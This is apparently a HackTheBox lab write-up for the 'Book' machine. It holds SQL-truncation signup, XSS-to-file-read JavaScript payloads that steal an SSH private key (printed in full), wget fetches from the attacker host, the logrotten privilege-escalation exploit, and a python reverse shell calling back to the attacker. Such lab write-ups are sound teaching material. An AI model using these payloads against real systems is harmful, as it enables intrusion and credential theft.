Book is a Medium Linux box released back in Febuary 2020.
As always we begin our Enumeration using Nmap to enumerate opened ports. We will be using the flags -sC for default scripts and -sV to enumerate versions.
[ 10.10.14.11/23 ] [ /dev/pts/2 ] [~/HTB/book]
→ nmap -vvv -p- 10.10.10.176 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered
Discovered open port 22/tcp on 10.10.10.176
Discovered open port 80/tcp on 10.10.10.176
[ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/book]
→ nmap -sCV -p22,80 10.10.10.176
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-24 08:35 CEST
Nmap scan report for 10.10.10.176
Host is up (0.47s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 f7:fc:57:99:f6:82:e0:03:d6:03:bc:09:43:01:55:b7 (RSA)
| 256 a3:e5:d1:74:c4:8a:e8:c8:52:c7:17:83:4a:54:31:bd (ECDSA)
|_ 256 e3:62:68:72:e2:c0:ae:46:67:3d:cb:46:bf:69:b9:6a (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: LIBRARY - Read | Learn | Have Fun
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.32 seconds
[ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/book]
→ gobuster dir -u http://10.10.10.176 -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,html,txt -t 50
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.176
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: php,html,txt
[+] Timeout: 10s
===============================================================
2021/06/24 08:37:17 Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 277]
/.hta.php (Status: 403) [Size: 277]
/.hta.html (Status: 403) [Size: 277]
/.htaccess.php (Status: 403) [Size: 277]
/.htpasswd (Status: 403) [Size: 277]
/.hta.txt (Status: 403) [Size: 277]
/.htaccess.html (Status: 403) [Size: 277]
/.htpasswd.php (Status: 403) [Size: 277]
/.htaccess.txt (Status: 403) [Size: 277]
/.htpasswd.html (Status: 403) [Size: 277]
/.htaccess (Status: 403) [Size: 277]
/.htpasswd.txt (Status: 403) [Size: 277]
/admin (Status: 301) [Size: 312] [--> http://10.10.10.176/admin/]
/books.php (Status: 302) [Size: 0] [--> index.php]
/contact.php (Status: 302) [Size: 0] [--> index.php]
/db.php (Status: 200) [Size: 0]
/docs (Status: 301) [Size: 311] [--> http://10.10.10.176/docs/]
/download.php (Status: 302) [Size: 0] [--> index.php]
/feedback.php (Status: 302) [Size: 0] [--> index.php]
/home.php (Status: 302) [Size: 0] [--> index.php]
/images (Status: 301) [Size: 313] [--> http://10.10.10.176/images/]
/index.php (Status: 200) [Size: 6800]
/index.php (Status: 200) [Size: 6800]
/logout.php (Status: 302) [Size: 0] [--> index.php]
/profile.php (Status: 302) [Size: 0] [--> index.php]
/search.php (Status: 302) [Size: 0] [--> index.php]
/settings.php (Status: 302) [Size: 0] [--> index.php]
/server-status (Status: 403) [Size: 277]
So here we see that gobuster found a few interesting files:
/admin/
/index.php
/admin/index.php
/db.php
After creating an account, we can visit the website:
We know that the admin username is there on the box from the contact page:
Now we logout of our created account to inspect index.php onto which we see something interesting:
This is a hint that we can do a SQL Truncation attack to signup as admin, so we intercept our POST request when we try to create an account with this payload:
test
admin@book.htb a
password
The idea is to make an admin account with more than 20 characters and with the 20 charcaters limit it will trim out the extra chararacters (the spaces and the a character) to overwrite admin@book.htb.
We follow the redirection 302 and it gives us a 200 response as if everything was fine. So we login as our new admin account at admin@book.htb:password at /admin/home.php:
And we now have access to the admin panel! Now let's check out the collections page:
Basically from /admin/collections.php we can see pdf files that has html code in it, to inject it we need to do it from /collections.php.
And here you see once we export the collections that our previous boldtext payload got interpreted:
So we do the same but this time with javascript to attempt a LFI:
<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///etc/passwd");x.send();</script>
And it worked! We now know that 'reader' is a valid user so let's try to print his SSH key if he has one:
<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///home/reader/.ssh/id_rsa");x.send();</script>
And we got his private SSH key! Now let's save it locally and login via SSH:
[ 10.10.14.11/23 ] [ /dev/pts/2 ] [~/HTB/book]
→ vim reader.pkey
[ 10.10.14.11/23 ] [ /dev/pts/2 ] [~/HTB/book]
→ cat reader.pkey
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEA2JJQsccK6fE05OWbVGOuKZdf0FyicoUrrm821nHygmLgWSpJ
G8m6UNZyRGj77eeYGe/7YIQYPATNLSOpQIue3knhDiEsfR99rMg7FRnVCpiHPpJ0
WxtCK0VlQUwxZ6953D16uxlRH8LXeI6BNAIjF0Z7zgkzRhTYJpKs6M80NdjUCl/0
ePV8RKoYVWuVRb4nFG1Es0bOj29lu64yWd/j3xWXHgpaJciHKxeNlr8x6NgbPv4s
7WaZQ4cjd+yzpOCJw9J91Vi33gv6+KCIzr+TEfzI82+hLW1UGx/13fh20cZXA6PK
75I5d5Holg7ME40BU06Eq0E3EOY6whCPlzndVwIDAQABAoIBAQCs+kh7hihAbIi7
3mxvPeKok6BSsvqJD7aw72FUbNSusbzRWwXjrP8ke/Pukg/OmDETXmtgToFwxsD+
McKIrDvq/gVEnNiE47ckXxVZqDVR7jvvjVhkQGRcXWQfgHThhPWHJI+3iuQRwzUI
tIGcAaz3dTODgDO04Qc33+U9WeowqpOaqg9rWn00vgzOIjDgeGnbzr9ERdiuX6WJ
jhPHFI7usIxmgX8Q2/nx3LSUNeZ2vHK5PMxiyJSQLiCbTBI/DurhMelbFX50/owz
7Qd2hMSr7qJVdfCQjkmE3x/L37YQEnQph6lcPzvVGOEGQzkuu4ljFkYz6sZ8GMx6
GZYD7sW5AoGBAO89fhOZC8osdYwOAISAk1vjmW9ZSPLYsmTmk3A7jOwke0o8/4FL
E2vk2W5a9R6N5bEb9yvSt378snyrZGWpaIOWJADu+9xpZScZZ9imHHZiPlSNbc8/
ciqzwDZfSg5QLoe8CV/7sL2nKBRYBQVL6D8SBRPTIR+J/wHRtKt5PkxjAoGBAOe+
SRM/Abh5xub6zThrkIRnFgcYEf5CmVJX9IgPnwgWPHGcwUjKEH5pwpei6Sv8et7l
skGl3dh4M/2Tgl/gYPwUKI4ori5OMRWykGANbLAt+Diz9mA3FQIi26ickgD2fv+V
o5GVjWTOlfEj74k8hC6GjzWHna0pSlBEiAEF6Xt9AoGAZCDjdIZYhdxHsj9l/g7m
Hc5LOGww+NqzB0HtsUprN6YpJ7AR6+YlEcItMl/FOW2AFbkzoNbHT9GpTj5ZfacC
hBhBp1ZeeShvWobqjKUxQmbp2W975wKR4MdsihUlpInwf4S2k8J+fVHJl4IjT80u
Pb9n+p0hvtZ9sSA4so/DACsCgYEA1y1ERO6X9mZ8XTQ7IUwfIBFnzqZ27pOAMYkh
sMRwcd3TudpHTgLxVa91076cqw8AN78nyPTuDHVwMN+qisOYyfcdwQHc2XoY8YCf
tdBBP0Uv2dafya7bfuRG+USH/QTj3wVen2sxoox/hSxM2iyqv1iJ2LZXndVc/zLi
5bBLnzECgYEAlLiYGzP92qdmlKLLWS7nPM0YzhbN9q0qC3ztk/+1v8pjj162pnlW
y1K/LbqIV3C01ruxVBOV7ivUYrRkxR/u5QbS3WxOnK0FYjlS7UUAc4r0zMfWT9TN
nkeaf9obYKsrORVuKKVNFzrWeXcVx+oG3NisSABIprhDfKUSbHzLIR4=
-----END RSA PRIVATE KEY-----
[ 10.10.14.11/23 ] [ /dev/pts/2 ] [~/HTB/book]
→ chmod 600 reader.pkey
[ 10.10.14.11/23 ] [ /dev/pts/2 ] [~/HTB/book]
→ ssh reader@10.10.10.176 -i reader.pkey
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 5.4.1-050401-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Thu Jun 24 07:46:19 UTC 2021
System load: 0.0 Processes: 142
Usage of /: 26.6% of 19.56GB Users logged in: 0
Memory usage: 22% IP address for ens33: 10.10.10.176
Swap usage: 0%
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
114 packages can be updated.
0 updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Wed Jan 29 13:03:06 2020 from 10.10.14.3
reader@book:~$ cat user.txt
0cXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
And we managed to login as the reader user! We got the user flag.
Now in order to privesc we need to upload linpeas.sh onto the box:
[terminal1]
[ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/book]
→ cp /home/nothing/HTB/obscurity/linpeas.sh .
[ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/book]
→ python3 -m http.server 9090
Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...
[terminal2]
reader@book:~$ wget http://10.10.14.11:9090/linpeas.sh -O /tmp/peas.sh
--2021-06-24 07:48:11-- http://10.10.14.11:9090/linpeas.sh
Connecting to 10.10.14.11:9090... connected.
HTTP request sent, awaiting response... 200 OK
Length: 341863 (334K) [text/x-sh]
Saving to: ‘/tmp/peas.sh’
/tmp/peas.sh 100%[========================================================================================================================================>] 333.85K 174KB/s in 1.9s
2021-06-24 07:48:14 (174 KB/s) - ‘/tmp/peas.sh’ saved [341863/341863]
reader@book:~$ chmod +x /tmp/peas.sh
reader@book:~$ /tmp/peas.sh
Here we let it run, and then scrolling through the output we see the following logrotate cronjob hint:
we can also find it using pspy:
[terminal 1]
[ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/book]
→ cp /home/nothing/HTB/Traceback/pspy64s .
[ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/book]
→ python3 -m http.server 9090
Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...
[terminal 2]
reader@book:~$ wget http://10.10.14.11:9090/pspy64s -O /tmp/pspy
--2021-06-24 07:56:17-- http://10.10.14.11:9090/pspy64s
Connecting to 10.10.14.11:9090... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1156536 (1.1M) [application/octet-stream]
Saving to: ‘/tmp/pspy’
/tmp/pspy 100%[========================================================================================================================================>] 1.10M 386KB/s in 2.9s
2021-06-24 07:56:21 (386 KB/s) - ‘/tmp/pspy’ saved [1156536/1156536]
reader@book:~$ chmod +x /tmp/pspy
reader@book:~$ /tmp/pspy
Let it run for a while and then you will see the following:
Trying to get some more details on logrotate we see the following:
reader@book:~$ cd /var/lib/logrotate/
reader@book:/var/lib/logrotate$ ls -l
total 4
-rw-r--r-- 1 root root 81 Jun 24 07:59 status
reader@book:/var/lib/logrotate$ cat status
logrotate state -- version 2
"/home/reader/backups/access.log" 2020-1-29-13:5:29
reader@book:/var/lib/logrotate$ logrotate --version
logrotate 3.11.0
To exploit this we're going to use logrottenexploit and apparently logrotate 3.11.0 is supported, so let's test it out:
[terminal 1]
[ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/book]
→ wget https://raw.githubusercontent.com/whotwagner/logrotten/master/logrotten.c
--2021-06-24 09:55:54-- https://raw.githubusercontent.com/whotwagner/logrotten/master/logrotten.c
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.110.133, 185.199.109.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7342 (7.2K) [text/plain]
Saving to: ‘logrotten.c’
logrotten.c 100%[===============================================>] 7.17K --.-KB/s in 0.007s
2021-06-24 09:55:56 (1.06 MB/s) - ‘logrotten.c’ saved [7342/7342]
[ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/book]
→ python3 -m http.server 9090
Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...
[terminal 2]
reader@book:/var/lib/logrotate$ cd /tmp
reader@book:/tmp$ which gcc
/usr/bin/gcc
reader@book:/tmp$ wget http://10.10.14.11:9090/logrotten.c
--2021-06-24 08:04:48-- http://10.10.14.11:9090/logrotten.c
Connecting to 10.10.14.11:9090... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7342 (7.2K) [text/x-csrc]
Saving to: ‘logrotten.c’
logrotten.c 100%[========================================================================================================================================>] 7.17K --.-KB/s in 0.01s
2021-06-24 08:04:49 (513 KB/s) - ‘logrotten.c’ saved [7342/7342]
reader@book:/tmp$ gcc -o logrotten logrotten.c
reader@book:/tmp$ ls -lash logrotten*
20K -rwxrwxr-x 1 reader reader 18K Jun 24 08:05 logrotten
8.0K -rw-rw-r-- 1 reader reader 7.2K Jun 24 07:55 logrotten.c
Then we need our reverse shell payload, obviously prepare the reverse shell listener aswell::
[terminal 1]
reader@book:/tmp$ cat payloadfile
#!/bin/bash
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.11",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
[terminal 2]
[ 10.10.14.11/23 ] [ /dev/pts/20 ] [~/HTB/book]
→ nc -lvnp 9001
listening on [any] 9001 ...
and do the following:
reader@book:/tmp$ echo test >> /home/reader/backups/access.log; ./logrotten -p payloadfile /home/reader/backups/access.log
Waiting for rotating /home/reader/backups/access.log...
Renamed /home/reader/backups with /home/reader/backups2 and created symlink to /etc/bash_completion.d
Waiting 1 seconds before writing payload...
Done!
So from here the payload has been written into access.log:
reader@book:/tmp$ ls -l /etc/bash_completion.d/
total 32
-r-xr-xr-x 1 reader reader 237 Jun 24 08:10 access.log
-rw-r--r-- 1 root root 6636 Nov 20 2017 apport_completion
-rw-r--r-- 1 root root 3211 Oct 2 2018 cloud-init
-rw-r--r-- 1 root root 439 Nov 26 2018 git-prompt
-rw-r--r-- 1 root root 11144 Mar 18 2019 grub
reader@book:/tmp$ cat /etc/bash_completion.d/access.log
#!/bin/bash
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.11",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
And since this is done, we only need to wait a bit until we get the reverse shell connection:
[ 10.10.14.11/23 ] [ /dev/pts/20 ] [~/HTB/book]
→ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.10.176] 58930
root@book:~# cat /root/root.txt
cat /root/root.txt
00XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
And that's it! We managed to get the root flag.
Here we can see the progress graph :
Donate XMR: 8AUYjhQeG3D5aodJDtqG499N5jXXM71gYKD8LgSsFB9BUV1o7muLv3DXHoydRTK4SZaaUBq4EAUqpZHLrX2VZLH71Jrd9k8
Contact: nihilist@contact.nowhere.moe (PGP)